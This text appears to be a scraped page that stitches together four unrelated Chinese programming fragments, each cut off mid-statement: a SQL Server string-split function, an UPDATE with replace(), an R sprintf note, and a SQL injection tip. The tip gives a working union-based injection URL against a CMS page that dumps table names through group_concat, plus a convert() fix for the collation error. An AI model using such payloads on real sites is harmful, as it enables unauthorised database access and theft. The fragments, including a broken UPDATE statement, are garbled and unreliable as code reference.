有时我们要用到批量操作时都会对字符串进行拆分,可是SQL Server中却没有自带Split函数,所以要自己来实现了.没什么好说的,需要的朋友直接拿去用吧 SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO /* by kudychen 2011-9-28 */ CREATE function [dbo].[SplitString] ( @Input nvarchar(max), --input string to be separated @Sep
UPDATE MainData SET Content = )) , 'XM00000137' , 'XM00000078') WHERE [Key] IN (SELECT md_key FROM index_md_inProject WHERE md_inProject = 'XM00000137') 使用 replace 函数,具体的格式为: update [table表名] set [Fields字段名]=replace([Fields字段名],'被替换原内容','要替换成的内容') 当然
sql注入在联合查询是出现一下错误查不到数据 Illegal mix of collations for operation 'UNION' 用convert() 转换编码为utf8 或者big5 就可以了 http://10.1.2.5:52843/wcms/show.php?id=-33 union all SELECT 1,2,3,4,5,6,7,8,9,10,convert(group_concat(table_name) using big5),12,13,14,15 from inf
sprintf( )函数很强大,但并非适用于所有应用场景.例如,如果一些部分在模板中多次出现,那么就需要多次写一样的参数.这通常会使得代码冗长而且难以修改:sprintf("%s, %d years old, majors in %s and loves %s.", "James", 25,"Physics","Physics")## [1] "James, 25 years old, majors in Physi